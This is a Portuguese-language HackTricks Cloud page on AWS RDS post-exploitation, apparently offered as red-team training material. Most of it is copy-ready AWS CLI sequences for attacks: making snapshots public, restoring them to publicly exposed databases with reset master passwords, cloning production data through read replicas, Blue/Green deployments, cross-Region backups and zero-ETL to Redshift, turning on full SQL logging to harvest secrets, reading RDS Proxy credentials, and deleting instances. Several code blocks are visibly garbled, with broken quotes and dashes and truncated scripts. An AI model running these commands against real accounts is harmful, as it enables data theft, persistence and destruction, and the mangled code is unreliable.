AWS - RDS Post Exploitation
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao đŹ grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter đŠ @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositĂłrios do github.
RDS
Para mais informaçÔes, confira:
AWS - Relational Database (RDS) Enum
rds:CreateDBSnapshot, rds:RestoreDBInstanceFromDBSnapshot, rds:ModifyDBInstance
Se o atacante tiver permissĂ”es suficientes, ele pode tornar um DB publicamente acessĂvel criando um snapshot do DB e, em seguida, um DB publicamente acessĂvel a partir do snapshot.
aws rds describe-db-instances # Get DB identifier
aws rds create-db-snapshot \
--db-instance-identifier <db-id> \
--db-snapshot-identifier cloudgoat
# Get subnet groups & security groups
aws rds describe-db-subnet-groups
aws ec2 describe-security-groups
aws rds restore-db-instance-from-db-snapshot \
--db-instance-identifier "new-db-not-malicious" \
--db-snapshot-identifier <scapshotId> \
--db-subnet-group-name <db subnet group> \
--publicly-accessible \
--vpc-security-group-ids <ec2-security group>
aws rds modify-db-instance \
--db-instance-identifier "new-db-not-malicious" \
--master-user-password 'Llaody2f6.123' \
--apply-immediately
# Connect to the new DB after a few mins
rds:StopDBCluster & rds:StopDBInstance
Um atacante com rds:StopDBCluster ou rds:StopDBInstance pode forçar uma parada imediata de uma instùncia RDS ou de um cluster inteiro, causando indisponibilidade do banco de dados, conexÔes interrompidas e interrupção de processos que dependem do banco de dados.
Para parar uma Ășnica instĂąncia DB (exemplo):
aws rds stop-db-instance \
--db-instance-identifier <DB_INSTANCE_IDENTIFIER>
Para parar um cluster de DB inteiro (exemplo):
aws rds stop-db-cluster \
--db-cluster-identifier <DB_CLUSTER_IDENTIFIER>
rds:Modify*
Um atacante com permissĂ”es rds:Modify* pode alterar configuraçÔes crĂticas e recursos auxiliares (parameter groups, option groups, proxy endpoints and endpoint-groups, target groups, subnet groups, capacity settings, snapshot/cluster attributes, certificates, integrations, etc.) sem tocar diretamente na instĂąncia ou no cluster. AlteraçÔes como ajustar parĂąmetros de conexĂŁo/timeout, trocar um proxy endpoint, modificar quais certificados sĂŁo confiĂĄveis, alterar a capacidade lĂłgica ou reconfigurar um subnet group podem enfraquecer a segurança (abrir novos caminhos de acesso), quebrar o roteamento e o load-balancing, invalidar polĂticas de replicação/backup e, de modo geral, degradar a disponibilidade ou a capacidade de recuperação. Essas modificaçÔes tambĂ©m podem facilitar exfiltração de dados indireta ou dificultar uma recuperação ordenada do banco de dados apĂłs um incidente.
Mover ou alterar as subnets atribuĂdas a um RDS subnet group:
aws rds modify-db-subnet-group \
--db-subnet-group-name <db-subnet-group-name> \
--subnet-ids <subnet-id-1> <subnet-id-2>
Altere parĂąmetros de engine de baixo nĂvel em um cluster parameter group:
aws rds modify-db-cluster-parameter-group \
--db-cluster-parameter-group-name <parameter-group-name> \
--parameters "ParameterName=<parameter-name>,ParameterValue=<value>,ApplyMethod=immediate"
rds:Restore*
Um atacante com permissĂ”es rds:Restore* pode restaurar bancos de dados inteiros a partir de snapshots, automated backups, point-in-time recovery (PITR) ou arquivos armazenados no S3, criando novas instĂąncias ou clusters populados com os dados do ponto selecionado. Essas operaçÔes nĂŁo sobrescrevem os recursos originais â elas criam novos objetos contendo os dados histĂłricos â o que permite a um atacante obter cĂłpias completas e funcionais do banco de dados (de pontos anteriores no tempo ou de arquivos externos no S3) e usĂĄ-las para exfiltrar dados, manipular registros histĂłricos ou reconstruir estados anteriores.
Restaurar uma instĂąncia de DB para um ponto especĂfico no tempo:
aws rds restore-db-instance-to-point-in-time \
--source-db-instance-identifier <source-db-instance-identifier> \
--target-db-instance-identifier <target-db-instance-identifier> \
--restore-time "<restore-time-ISO8601>" \
--db-instance-class <db-instance-class> \
--publicly-accessible --no-multi-az
rds:Delete*
Um atacante com rds:Delete* pode remover recursos RDS, excluindo instĂąncias DB, clusters, snapshots, backups automatizados, grupos de sub-redes, grupos de parĂąmetros/opçÔes e artefatos relacionados, causando interrupção imediata do serviço, perda de dados, destruição dos pontos de recuperação e perda de evidĂȘncias forenses.
# Delete a DB instance (creates a final snapshot unless you skip it)
aws rds delete-db-instance \
--db-instance-identifier <DB_INSTANCE_ID> \
--final-db-snapshot-identifier <FINAL_SNAPSHOT_ID> # omit or replace with --skip-final-snapshot to avoid snapshot
# Delete a DB instance and skip final snapshot (more destructive)
aws rds delete-db-instance \
--db-instance-identifier <DB_INSTANCE_ID> \
--skip-final-snapshot
# Delete a manual DB snapshot
aws rds delete-db-snapshot \
--db-snapshot-identifier <DB_SNAPSHOT_ID>
# Delete an Aurora DB cluster (creates a final snapshot unless you skip)
aws rds delete-db-cluster \
--db-cluster-identifier <DB_CLUSTER_ID> \
--final-db-snapshot-identifier <FINAL_CLUSTER_SNAPSHOT_ID> # or use --skip-final-snapshot
rds:ModifyDBSnapshotAttribute, rds:CreateDBSnapshot
Um atacante com essas permissĂ”es poderia criar um snapshot de um DB e tornĂĄ-lo publicamente disponĂvel. Em seguida, ele poderia simplesmente criar em sua prĂłpria conta um DB a partir desse snapshot.
Se o atacante nĂŁo tiver a rds:CreateDBSnapshot, ele ainda poderia tornar outros snapshots criados pĂșblicos.
# create snapshot
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>
# Make it public/share with attackers account
aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
## Specify account IDs instead of "all" to give access only to a specific account: --values-to-add {"111122223333","444455556666"}
rds:DownloadDBLogFilePortion
Um atacante com a permissĂŁo rds:DownloadDBLogFilePortion pode baixar porçÔes dos arquivos de log de uma instĂąncia RDS. Se dados sensĂveis ou credenciais de acesso forem registrados acidentalmente, o atacante poderĂĄ potencialmente usar essas informaçÔes para escalar privilĂ©gios ou executar açÔes nĂŁo autorizadas.
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
Potential Impact: Acesso a informaçÔes sensĂveis ou açÔes nĂŁo autorizadas usando leaked credentials.
rds:DeleteDBInstance
Um atacante com essas permissÔes pode DoS instùncias RDS existentes.
# Delete
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
Impacto potencial: ExclusĂŁo de instĂąncias RDS existentes e possĂvel perda de dados.
rds:StartExportTask
Note
TODO: Testar
Um atacante com essa permissĂŁo pode exportar um RDS instance snapshot para um S3 bucket. Se o atacante tiver controle sobre o S3 bucket de destino, ele pode potencialmente acessar dados sensĂveis dentro do snapshot exportado.
aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
Impacto potencial: Acesso a dados sensĂveis no snapshot exportado.
Replicação de backups automatizados entre RegiÔes para restauração furtiva (rds:StartDBInstanceAutomatedBackupsReplication)
Explorar a replicação de backups automatizados entre RegiĂ”es para duplicar silenciosamente os backups automatizados de uma instĂąncia RDS para outra RegiĂŁo AWS e restaurĂĄ-los lĂĄ. O atacante pode entĂŁo tornar o DB restaurado publicamente acessĂvel e redefinir a senha mestre para acessar os dados fora de banda em uma RegiĂŁo que os defensores possam nĂŁo monitorar.
PermissĂ”es necessĂĄrias (mĂnimo):
rds:StartDBInstanceAutomatedBackupsReplicationin the destination Regionrds:DescribeDBInstanceAutomatedBackupsin the destination Regionrds:RestoreDBInstanceToPointInTimein the destination Regionrds:ModifyDBInstancein the destination Regionrds:StopDBInstanceAutomatedBackupsReplication(optional cleanup)ec2:CreateSecurityGroup,ec2:AuthorizeSecurityGroupIngress(to expose the restored DB)
Impacto: PersistĂȘncia e exfiltração de dados ao restaurar uma cĂłpia dos dados de produção em outra RegiĂŁo e expĂŽ-la publicamente com credenciais controladas pelo atacante.
CLI de ponta a ponta (substitua os espaços reservados)
```bash # 1) Recon (SOURCE region A) aws rds describe-db-instances \ --region2) Start cross-Region automated backups replication (run in DEST region B)
aws rds start-db-instance-automated-backups-replication
âregion <DEST_REGION>
âsource-db-instance-arn <SOURCE_DB_INSTANCE_ARN>
âsource-region <SOURCE_REGION>
âbackup-retention-period 7
3) Wait for replication to be ready in DEST
aws rds describe-db-instance-automated-backups
âregion <DEST_REGION>
âquery âDBInstanceAutomatedBackups[*].[DBInstanceAutomatedBackupsArn,DBInstanceIdentifier,Status]â
âoutput table
Proceed when Status is âreplicatingâ or âactiveâ and note the DBInstanceAutomatedBackupsArn
4) Restore to latest restorable time in DEST
aws rds restore-db-instance-to-point-in-time
âregion <DEST_REGION>
âsource-db-instance-automated-backups-arn <AUTO_BACKUP_ARN>
âtarget-db-instance-identifier <TARGET_DB_ID>
âuse-latest-restorable-time
âdb-instance-class db.t3.micro
aws rds wait db-instance-available âregion <DEST_REGION> âdb-instance-identifier <TARGET_DB_ID>
5) Make public and reset credentials in DEST
5a) Create/choose an open SG permitting TCP/3306 (adjust engine/port as needed)
OPEN_SG_ID=$(aws ec2 create-security-group âregion <DEST_REGION>
âgroup-name open-rds-
âquery GroupId âoutput text)
aws ec2 authorize-security-group-ingress âregion <DEST_REGION>
âgroup-id â$OPEN_SG_IDâ
âip-permissions IpProtocol=tcp,FromPort=3306,ToPort=3306,IpRanges=â[{CidrIp=0.0.0.0/0}]â
5b) Publicly expose restored DB and attach the SG
aws rds modify-db-instance âregion <DEST_REGION>
âdb-instance-identifier <TARGET_DB_ID>
âpublicly-accessible
âvpc-security-group-ids â$OPEN_SG_IDâ
âapply-immediately
aws rds wait db-instance-available âregion <DEST_REGION> âdb-instance-identifier <TARGET_DB_ID>
5c) Reset the master password
aws rds modify-db-instance âregion <DEST_REGION>
âdb-instance-identifier <TARGET_DB_ID>
âmaster-user-password â<NEW_STRONG_PASSWORD>â
âapply-immediately
aws rds wait db-instance-available âregion <DEST_REGION> âdb-instance-identifier <TARGET_DB_ID>
6) Connect to <TARGET_DB_ID> endpoint and validate data (example for MySQL)
ENDPOINT=$(aws rds describe-db-instances âregion <DEST_REGION>
âdb-instance-identifier <TARGET_DB_ID>
âquery âDBInstances[0].Endpoint.Addressâ âoutput text)
mysql -h â$ENDPOINTâ -u <MASTER_USERNAME> -pâ<NEW_STRONG_PASSWORD>â -e âSHOW DATABASES;â
7) Optional: stop replication
aws rds stop-db-instance-automated-backups-replication
âregion <DEST_REGION>
âsource-db-instance-arn <SOURCE_DB_INSTANCE_ARN>
### Habilitar registro completo de SQL via DB parameter groups e exfiltrate via RDS log APIs
Abuse `rds:ModifyDBParameterGroup` com as RDS log download APIs para capturar todas as instruçÔes SQL executadas por aplicaçÔes (nĂŁo sĂŁo necessĂĄrias credenciais do engine DB). Habilite o registro SQL do engine e recupere os arquivos de log via `rds:DescribeDBLogFiles` e `rds:DownloadDBLogFilePortion` (ou o REST `downloadCompleteLogFile`). Ătil para coletar queries que podem conter secrets/PII/JWTs.
PermissĂ”es necessĂĄrias (mĂnimo):
- `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion`
- `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup`
- `rds:ModifyDBInstance` (apenas para anexar um custom parameter group se a instĂąncia estiver usando o padrĂŁo)
- `rds:RebootDBInstance` (para parĂąmetros que requerem reboot, e.g., PostgreSQL)
Passos
1) Recon do alvo e do current parameter group
```bash
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
--output table
- Garanta que um grupo de parĂąmetros DB personalizado esteja anexado (nĂŁo Ă© possĂvel editar o padrĂŁo)
- Se a instĂąncia jĂĄ usa um grupo personalizado, reutilize seu nome no prĂłximo passo.
- Caso contrĂĄrio, crie e anexe um que corresponda Ă famĂlia do engine:
# Example for PostgreSQL 16
aws rds create-db-parameter-group \
--db-parameter-group-name ht-logs-pg \
--db-parameter-group-family postgres16 \
--description "HT logging"
aws rds modify-db-instance \
--db-instance-identifier <DB> \
--db-parameter-group-name ht-logs-pg \
--apply-immediately
# Wait until status becomes "available"
- Habilitar registro SQL detalhado
- MySQL engines (imediato / sem reinĂcio):
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=general_log,ParameterValue=1,ApplyMethod=immediate" \
"ParameterName=log_output,ParameterValue=FILE,ApplyMethod=immediate"
# Optional extras:
# "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \
# "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate"
- Motores PostgreSQL (requer reinicialização):
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=log_statement,ParameterValue=all,ApplyMethod=pending-reboot"
# Optional to log duration for every statement:
# "ParameterName=log_min_duration_statement,ParameterValue=0,ApplyMethod=pending-reboot"
# Reboot if any parameter is pending-reboot
aws rds reboot-db-instance --db-instance-identifier <DB>
- Deixe o workload rodar (ou gere queries). Statements serĂŁo escritos nos engine file logs
- MySQL:
general/mysql-general.log - PostgreSQL:
postgresql.log
- Descubra e faça download dos logs (sem DB creds necessårios)
aws rds describe-db-log-files --db-instance-identifier <DB>
# Pull full file via portions (iterate until AdditionalDataPending=false). For small logs a single call is enough:
aws rds download-db-log-file-portion \
--db-instance-identifier <DB> \
--log-file-name general/mysql-general.log \
--starting-token 0 \
--output text > dump.log
- Analisar offline em busca de dados sensĂveis
grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head
Exemplo de evidĂȘncia (redigida):
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('user=alice password=Sup3rS3cret!')
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('authorization: Bearer REDACTED')
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED')
Limpeza
- Reverter os parùmetros para os padrÔes e reiniciar se necessårio:
# MySQL
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=general_log,ParameterValue=0,ApplyMethod=immediate"
# PostgreSQL
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
# Reboot if pending-reboot
Impacto: Acesso a dados pós-exploitation ao capturar todas as instruçÔes SQL da aplicação via AWS APIs (sem credenciais do DB), potencialmente leaking secrets, JWTs e PII.
rds:CreateDBInstanceReadReplica, rds:ModifyDBInstance
Abusar de read replicas do RDS para obter acesso de leitura out-of-band sem tocar nas credenciais da instùncia primåria. Um atacante pode criar uma read replica a partir de uma instùncia de produção, redefinir a master password da replica (isto não altera a primåria) e, opcionalmente, expor a replica publicamente para exfiltrar dados.
PermissĂ”es necessĂĄrias (mĂnimo):
rds:DescribeDBInstancesrds:CreateDBInstanceReadReplicards:ModifyDBInstanceec2:CreateSecurityGroup,ec2:AuthorizeSecurityGroupIngress(se exposta publicamente)
Impacto: Acesso somente leitura aos dados de produção através de uma replica com credenciais controladas pelo atacante; menor probabilidade de detecção, pois a primåria permanece intocada e a replicação continua.
# 1) Recon: find non-Aurora sources with backups enabled
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBInstanceArn,DBSubnetGroup.DBSubnetGroupName,VpcSecurityGroups[0].VpcSecurityGroupId,PubliclyAccessible]' \
--output table
# 2) Create a permissive SG (replace <VPC_ID> and <YOUR_IP/32>)
aws ec2 create-security-group --group-name rds-repl-exfil --description 'RDS replica exfil' --vpc-id <VPC_ID> --query GroupId --output text
aws ec2 authorize-security-group-ingress --group-id <SGID> --ip-permissions '[{"IpProtocol":"tcp","FromPort":3306,"ToPort":3306,"IpRanges":[{"CidrIp":"<YOUR_IP/32>","Description":"tester"}]}]'
# 3) Create the read replica (optionally public)
aws rds create-db-instance-read-replica \
--db-instance-identifier <REPL_ID> \
--source-db-instance-identifier <SOURCE_DB> \
--db-instance-class db.t3.medium \
--publicly-accessible \
--vpc-security-group-ids <SGID>
aws rds wait db-instance-available --db-instance-identifier <REPL_ID>
# 4) Reset ONLY the replica master password (primary unchanged)
aws rds modify-db-instance --db-instance-identifier <REPL_ID> --master-user-password 'NewStr0ng!Passw0rd' --apply-immediately
aws rds wait db-instance-available --db-instance-identifier <REPL_ID>
# 5) Connect and dump (use the SOURCE master username + NEW password)
REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier <REPL_ID> --query 'DBInstances[0].Endpoint.Address' --output text)
# e.g., with mysql client: mysql -h "$REPL_ENDPOINT" -u <MASTER_USERNAME> -p'NewStr0ng!Passw0rd' -e 'SHOW DATABASES; SELECT @@read_only, CURRENT_USER();'
# Optional: promote for persistence
# aws rds promote-read-replica --db-instance-identifier <REPL_ID>
EvidĂȘncia de exemplo (MySQL):
- Status do DB de réplica:
available, replicação de leitura:replicating - Conexão bem-sucedida com a nova senha e
@@read_only=1confirmando acesso de réplica somente leitura.
rds:CreateBlueGreenDeployment, rds:ModifyDBInstance
Abuse RDS Blue/Green para clonar um DB de produção em um ambiente green continuamente replicado e somente leitura. Em seguida, redefina as credenciais master do green para acessar os dados sem tocar na instùncia blue (prod). Isso é mais furtivo do que o compartilhamento de snapshot e frequentemente contorna monitoramento focado apenas na origem.
# 1) Recon â find eligible source (nonâAurora MySQL/PostgreSQL in the same account)
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,DBInstanceArn,Engine,EngineVersion,DBSubnetGroup.DBSubnetGroupName,PubliclyAccessible]'
# Ensure: automated backups enabled on source (BackupRetentionPeriod > 0), no RDS Proxy, supported engine/version
# 2) Create Blue/Green deployment (replicates blue->green continuously)
aws rds create-blue-green-deployment \
--blue-green-deployment-name ht-bgd-attack \
--source <BLUE_DB_ARN> \
# Optional to upgrade: --target-engine-version <same-or-higher-compatible>
# Wait until deployment Status becomes AVAILABLE, then note the green DB id
aws rds describe-blue-green-deployments \
--blue-green-deployment-identifier <BGD_ID> \
--query 'BlueGreenDeployments[0].SwitchoverDetails[0].TargetMember'
# Typical green id: <blue>-green-XXXX
# 3) Reset the green master password (does not affect blue)
aws rds modify-db-instance \
--db-instance-identifier <GREEN_DB_ID> \
--master-user-password 'Gr33n!Exfil#1' \
--apply-immediately
# Optional: expose the green for direct access (attach an SG that allows the DB port)
aws rds modify-db-instance \
--db-instance-identifier <GREEN_DB_ID> \
--publicly-accessible \
--vpc-security-group-ids <SG_ALLOWING_DB_PORT> \
--apply-immediately
# 4) Connect to the green endpoint and query/exfiltrate (green is readâonly)
aws rds describe-db-instances \
--db-instance-identifier <GREEN_DB_ID> \
--query 'DBInstances[0].Endpoint.Address' --output text
# Then connect with the master username and the new password and run SELECT/dumps
# e.g. MySQL: mysql -h <endpoint> -u <master_user> -p'Gr33n!Exfil#1'
# 5) Cleanup â remove blue/green and the green resources
aws rds delete-blue-green-deployment \
--blue-green-deployment-identifier <BGD_ID> \
--delete-target true
Impacto: Acesso somente leitura, mas com acesso completo aos dados de um clone quase em tempo real da produção sem modificar a instĂąncia de produção. Ătil para extração furtiva de dados e anĂĄlise offline.
SQL fora-de-banda via RDS Data API habilitando HTTP endpoint + resetting master password
Abuse Aurora para habilitar o HTTP endpoint do RDS Data API em um cluster alvo, resetar a master password para um valor que vocĂȘ controla e executar SQL sobre HTTPS (nenhum caminho de rede VPC Ă© necessĂĄrio). Funciona em engines Aurora que suportam o Data API/EnableHttpEndpoint (p.ex., Aurora MySQL 8.0 provisioned; algumas versĂ”es Aurora PostgreSQL/MySQL).
PermissĂ”es (mĂnimas):
- rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint)
- secretsmanager:CreateSecret
- rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used)
Impacto: Contornar a segmentação de rede e exfiltrar dados via AWS APIs sem conectividade VPC direta ao DB.
CLI de ponta a ponta (exemplo Aurora MySQL)
```bash # 1) Identify target cluster ARN REGION=us-east-1 CLUSTER_ID=2) Enable Data API HTTP endpoint on the cluster
Either of the following (depending on API/engine support):
aws rds enable-http-endpoint âregion $REGION âresource-arn â$CLUSTER_ARNâ
or
aws rds modify-db-cluster âregion $REGION âdb-cluster-identifier $CLUSTER_ID
âenable-http-endpoint âapply-immediately
Wait until HttpEndpointEnabled is True
aws rds wait db-cluster-available âregion $REGION âdb-cluster-identifier $CLUSTER_ID
aws rds describe-db-clusters âregion $REGION âdb-cluster-identifier $CLUSTER_ID
âquery âDBClusters[0].HttpEndpointEnabledâ âoutput text
3) Reset master password to attacker-controlled value
aws rds modify-db-cluster âregion $REGION âdb-cluster-identifier $CLUSTER_ID
âmaster-user-password âSup3rStr0ng!1â âapply-immediately
Wait until pending password change is applied
while :; do
aws rds wait db-cluster-available âregion $REGION âdb-cluster-identifier $CLUSTER_ID
P=$(aws rds describe-db-clusters âregion $REGION âdb-cluster-identifier $CLUSTER_ID
âquery âDBClusters[0].PendingModifiedValues.MasterUserPasswordâ âoutput text)
[[ â$Pâ == âNoneâ || â$Pâ == ânullâ ]] && break
sleep 10
done
4) Create a Secrets Manager secret for Data API auth
SECRET_ARN=$(aws secretsmanager create-secret âregion $REGION âname rdsdata/demo-$CLUSTER_ID
âsecret-string â{âusernameâ:âadminâ,âpasswordâ:âSup3rStr0ng!1â}â
âquery ARN âoutput text)
5) Prove out-of-band SQL via HTTPS using rds-data
(Example with Aurora MySQL; for PostgreSQL, adjust SQL and username accordingly)
aws rds-data execute-statement âregion $REGION âresource-arn â$CLUSTER_ARNâ
âsecret-arn â$SECRET_ARNâ âdatabase mysql âsql âcreate database if not exists demo;â
aws rds-data execute-statement âregion $REGION âresource-arn â$CLUSTER_ARNâ
âsecret-arn â$SECRET_ARNâ âdatabase demo âsql âcreate table if not exists pii(note text);â
aws rds-data execute-statement âregion $REGION âresource-arn â$CLUSTER_ARNâ
âsecret-arn â$SECRET_ARNâ âdatabase demo âsql âinsert into pii(note) values (âtoken=SECRET_JWTâ);â
aws rds-data execute-statement âregion $REGION âresource-arn â$CLUSTER_ARNâ
âsecret-arn â$SECRET_ARNâ âdatabase demo âsql âselect current_user(), now(), (select count(*) from pii) as row_count;â
âformat-records-as JSON
</details>
Notas:
- Se SQL com mĂșltiplas instruçÔes for rejeitado pelo rds-data, faça chamadas separadas execute-statement.
- Para engines em que modify-db-cluster --enable-http-endpoint nĂŁo surte efeito, use rds enable-http-endpoint --resource-arn.
- Verifique se a engine/versĂŁo realmente suporta o Data API; caso contrĂĄrio HttpEndpointEnabled permanecerĂĄ False.
### Coletar credenciais do DB via secrets de autenticação do RDS Proxy (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
Abuse a configuração do RDS Proxy para descobrir o secret do Secrets Manager usado na autenticação do backend e, em seguida, leia esse secret para obter as credenciais do banco de dados. Muitos ambientes concedem permissÔes amplas de `secretsmanager:GetSecretValue`, tornando isso um pivÎ de baixa fricção para obter credenciais do DB. Se o secret usar uma CMK, permissÔes KMS mal escopadas também podem permitir `kms:Decrypt`.
PermissĂ”es necessĂĄrias (mĂnimo):
- `rds:DescribeDBProxies`
- `secretsmanager:GetSecretValue` no SecretArn referenciado
- Opcional quando o secret usa uma CMK: `kms:Decrypt` nessa chave
Impacto: Divulgação imediata do nome de usuårio/senha do DB configurado no proxy; permite acesso direto ao DB ou movimento lateral adicional.
Passos
```bash
# 1) Enumerate proxies and extract the SecretArn used for auth
aws rds describe-db-proxies \
--query DBProxies[*].[DBProxyName,Auth[0].AuthScheme,Auth[0].SecretArn] \
--output table
# 2) Read the secret value (common over-permission)
aws secretsmanager get-secret-value \
--secret-id <SecretArnFromProxy> \
--query SecretString --output text
# Example output: {"username":"admin","password":"S3cr3t!"}
LaboratĂłrio (mĂnimo para reproduzir)
REGION=us-east-1
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
SECRET_ARN=$(aws secretsmanager create-secret \
--region $REGION --name rds/proxy/aurora-demo \
--secret-string username:admin \
--query ARN --output text)
aws iam create-role --role-name rds-proxy-secret-role \
--assume-role-policy-document Version:2012-10-17
aws iam attach-role-policy --role-name rds-proxy-secret-role \
--policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
aws rds create-db-proxy --db-proxy-name p0 --engine-family MYSQL \
--auth [AuthScheme:SECRETS] \
--role-arn arn:aws:iam::$ACCOUNT_ID:role/rds-proxy-secret-role \
--vpc-subnet-ids $(aws ec2 describe-subnets --filters Name=default-for-az,Values=true --query Subnets[].SubnetId --output text)
aws rds wait db-proxy-available --db-proxy-name p0
# Now run the enumeration + secret read from the Steps above
Limpeza (laboratĂłrio)
aws rds delete-db-proxy --db-proxy-name p0
aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
aws iam delete-role --role-name rds-proxy-secret-role
aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery
Stealthy continuous exfiltration via Aurora zeroâETL to Amazon Redshift (rds:CreateIntegration)
Abuse Aurora PostgreSQL zeroâETL integration to continuously replicate production data into a Redshift Serverless namespace you control. Com uma polĂtica de recurso Redshift permissiva que autoriza CreateInboundIntegration/AuthorizeInboundIntegration para um ARN de cluster Aurora especĂfico, um atacante pode estabelecer uma cĂłpia de dados quase em tempo real sem DB creds, snapshots ou exposição de rede.
PermissĂ”es necessĂĄrias (mĂnimo):
rds:CreateIntegration,rds:DescribeIntegrations,rds:DeleteIntegrationredshift:PutResourcePolicy,redshift:DescribeInboundIntegrations,redshift:DescribeIntegrationsredshift-data:ExecuteStatement/GetStatementResult/ListDatabases(to query)rds-data:ExecuteStatement(optional; to seed data if needed)
Testado em: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
1) Criar Redshift Serverless namespace + workgroup
```bash REGION=us-east-1 RS_NS_ARN=$(aws redshift-serverless create-namespace --region $REGION --namespace-name ztl-ns \ --admin-username adminuser --admin-user-password 'AdminPwd-1!' \ --query namespace.namespaceArn --output text) RS_WG_ARN=$(aws redshift-serverless create-workgroup --region $REGION --workgroup-name ztl-wg \ --namespace-name ztl-ns --base-capacity 8 --publicly-accessible \ --query workgroup.workgroupArn --output text) # Wait until AVAILABLE, then enable case sensitivity (required for PostgreSQL) aws redshift-serverless update-workgroup --region $REGION --workgroup-name ztl-wg \ --config-parameters parameterKey=enable_case_sensitive_identifier,parameterValue=true ```2) Configurar a polĂtica de recursos do Redshift para permitir a origem Aurora
```bash ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text) SRC_ARN=3) Criar cluster Aurora PostgreSQL (ativar Data API e replicação lógica)
```bash CLUSTER_ID=aurora-ztl aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ --engine aurora-postgresql --engine-version 16.4 \ --master-username postgres --master-user-password 'InitPwd-1!' \ --enable-http-endpoint --no-deletion-protection --backup-retention-period 1 aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID # Serverless v2 instance aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ --serverless-v2-scaling-configuration MinCapacity=0.5,MaxCapacity=1 --apply-immediately aws rds create-db-instance --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 \ --db-instance-class db.serverless --engine aurora-postgresql --db-cluster-identifier $CLUSTER_ID aws rds wait db-instance-available --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 # Cluster parameter group for zeroâETL aws rds create-db-cluster-parameter-group --region $REGION --db-cluster-parameter-group-name apg16-ztl-zerodg \ --db-parameter-group-family aurora-postgresql16 --description "APG16 zero-ETL params" aws rds modify-db-cluster-parameter-group --region $REGION --db-cluster-parameter-group-name apg16-ztl-zerodg --parameters \ ParameterName=rds.logical_replication,ParameterValue=1,ApplyMethod=pending-reboot \ ParameterName=aurora.enhanced_logical_replication,ParameterValue=1,ApplyMethod=pending-reboot \ ParameterName=aurora.logical_replication_backup,ParameterValue=0,ApplyMethod=pending-reboot \ ParameterName=aurora.logical_replication_globaldb,ParameterValue=0,ApplyMethod=pending-reboot aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ --db-cluster-parameter-group-name apg16-ztl-zerodg --apply-immediately aws rds reboot-db-instance --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 aws rds wait db-instance-available --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 SRC_ARN=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID --query 'DBClusters[0].DBClusterArn' --output text) ```4) Criar a integração zeroâETL a partir do RDS
```bash # Include all tables in the default 'postgres' database aws rds create-integration --region $REGION --source-arn "$SRC_ARN" \ --target-arn "$RS_NS_ARN" --integration-name ztl-demo \ --data-filter 'include: postgres.*.*' # Redshift inbound integration should become ACTIVE aws redshift describe-inbound-integrations --region $REGION --target-arn "$RS_NS_ARN" ```5) Materializar e consultar dados replicados no Redshift
